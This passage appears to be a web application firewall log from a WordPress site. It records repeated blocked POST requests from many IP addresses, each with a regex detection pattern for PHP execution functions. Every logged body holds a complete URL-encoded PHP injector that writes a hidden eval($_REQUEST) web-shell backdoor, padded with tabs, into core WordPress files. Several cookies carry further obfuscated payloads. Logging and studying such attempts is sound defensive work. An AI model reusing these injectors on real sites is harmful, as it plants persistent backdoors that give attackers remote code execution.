24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:23","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ie:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2058\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nIe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:25","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:2081\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:44:28","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ij:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2058\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nij=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:31","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2022\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoRLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nlF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:33","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2022\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\neh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:35","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) 